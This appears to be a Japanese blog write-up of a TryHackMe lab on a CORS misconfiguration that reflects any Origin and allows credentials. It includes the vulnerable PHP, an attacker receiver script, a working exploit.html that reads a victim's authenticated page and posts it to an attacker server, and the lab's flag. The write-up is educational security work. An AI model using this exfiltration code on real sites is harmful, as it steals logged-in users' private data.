はじめに
CORS は「クロスオリジン通信を制御する仕組み」として広く知られています。
しかし実務やCTFでは、次のような 非常に危険な誤解 が頻発します。
「ページが普通に表示されるし、200 OK だから問題ないよね?」
結論から言うと、それは大きな勘違いです。
本記事では、TryHackMe のラボを題材に
Arbitrary Origin + Credentials という典型的な CORS 設定ミスを利用し、
- 被害者の認証 Cookie を使って
- クロスサイトから
- レスポンス本文(機密情報)を読み取り
- 攻撃者サーバへ流出させる
一連の流れを 実際のコードと通信挙動 で解説します。
環境構成
登場するドメイン
| 役割 | ドメイン |
|---|---|
| 脆弱なターゲット | corssop.thm |
| エクスプロイト管理UI | exploit.evilcors.thm |
| 被害者が踏む悪性ページ | corssop.thm.evilcors.thm |
| データ受信サーバ | Apache (port 81) |
/etc/hosts 設定
echo MACHINE_IP corssop.thm | sudo tee -a /etc/hosts
echo MACHINE_IP exploit.evilcors.thm | sudo tee -a /etc/hosts
echo MACHINE_IP corssop.thm.evilcors.thm | sudo tee -a /etc/hosts
受信サーバ(receiver.php)
<?php
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
header('Access-Control-Allow-Credentials: true');
$postdata = file_get_contents("php://input");
file_put_contents('data.txt', $postdata);
?>
cd www/html/
nano receiver.php
touch data.txt
ls -la
...
total 24
drwxr-xr-x 2 root root 4096 Dec 28 12:57 .
drwxr-xr-x 3 root root 4096 Jan 24 2024 ..
-rw-r--r-- 1 root root 0 Dec 28 12:57 data.txt
-rw-r--r-- 1 root root 10918 Jan 24 2024 index.html
-rw-r--r-- 1 root root 215 Dec 28 12:56 receiver.php
...
chmod 0777 data.txt
ls -lah
...
drwxr-xr-x 2 root root 4.0K Dec 28 12:57 .
drwxr-xr-x 3 root root 4.0K Jan 24 2024 ..
-rwxrwxrwx 1 root root 0 Dec 28 12:57 data.txt
-rw-r--r-- 1 root root 11K Jan 24 2024 index.html
-rw-r--r-- 1 root root 215 Dec 28 12:56 receiver.php
...
※ 検証用としてはOK
実運用では Apache 実行ユーザに限定すべき
全体攻撃フロー
分析
脆弱性の正体:Arbitrary Origin + Credentials
ターゲット corssop.thm/arbitrary.php の実装:
if (isset($_SERVER['HTTP_ORIGIN'])){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
header('Access-Control-Allow-Credentials: true');
}
問題はこの 2点が同時に成立していること:
-
Access-Control-Allow-Origin が “リクエストの Origin をそのまま反映”
- つまり攻撃者ドメイン(
evilcors.thm)からでも、Origin: http://evilcors.thmで来たらそのまま許可してしまう
- つまり攻撃者ドメイン(
-
Access-Control-Allow-Credentials: true
- ブラウザが Cookie付き(認証済み)で送信できる
- さらに JSがレスポンス本文を読める
この2つが揃うと、攻撃者ページ上のJSが
- 被害者のログインCookieを付けてターゲットへアクセスし
- レスポンス本文(機密情報)を取得できる
という「クロスサイトなのに、同一オリジン並みに読める」状態になります。
逆に言うと、Credentials が true じゃなければ被害者Cookieは乗らない
Origin を反射しなければブラウザがJSに本文を渡さない
この片方だけなら、被害はかなり限定されることが多い。
ページにアクセスして
一見すると問題なさそうです。
でも Orgin:corssop.thmを加えてアクセスして、応答ヘッドから見るとAccess-Control-Alow-Origin:corssop.thmがある。
ところで http://exploit.evilcors.thmのページ
ここで攻撃コード(exploit.html)を構築する
<html>
<head>
<title>Data Exfiltrator Exploit</title>
<script>
//Function which will make CORS request to target application web page to grab the HTTP response
function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var all = this.responseText;
exfiltrate(all);
}
};
xhttp.open("GET", "http://corssop.thm/arbitrary.php", true);
xhttp.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,\/;q=0.8");
xhttp.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhttp.withCredentials = true;
xhttp.send();
}
function exfiltrate(data_all) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://MACHINE_IP/receiver.php", true); //Replace the URL with attacker controlled Server
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = data_all;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
</head>
<body onload="exploit()">
<div style="margin: 10px 20px 20px; word-wrap: break-word; text-align: center;">
<textarea id="load" style="width: 1183px; height: 305px;">
構築完成したら、まず保存して、エクスプロイトが機能しているかどうかを確認するには、"View exploit" ボタンをクリックします。

"Send to victim!"のボタンをクリックして
被害者は、ウェブサイト http://evilcors.thm を使用して、エクスプロイト コードを含む悪意のあるウェブサイトに自動的にアクセスします。
攻撃者サーバへ送信
<div class="container mt-4">
<h1 class="text-center">Arbitrary Origin Lab</h1>
<p style="text-align:center;">Use the Origin in your CORS request</p>
<p style="text-align:center;">THM{4rB1tr4rY}</p></div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="jquery.min.js"></script>
<!-- Latest compiled and minified JavaScript -->
<script src="bootstrap.min.js" >
他の例
Bad Regex in Origin
脆弱性があるコード
if (isset($_SERVER['HTTP_ORIGIN']) && preg_match('#corssop.thm#', $_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
header('Access-Control-Allow-Credentials: true');
}
まとめ
CORS は「なんとなく動いてる」状態が一番危険です。
今回のように 実際に盗ってみる ことで、設計ミスの重さが初めて実感できます。
この記事が、
- CORSを「設定項目」ではなく
-
ブラウザセキュリティモデルとして理解する助け
になれば幸いです。







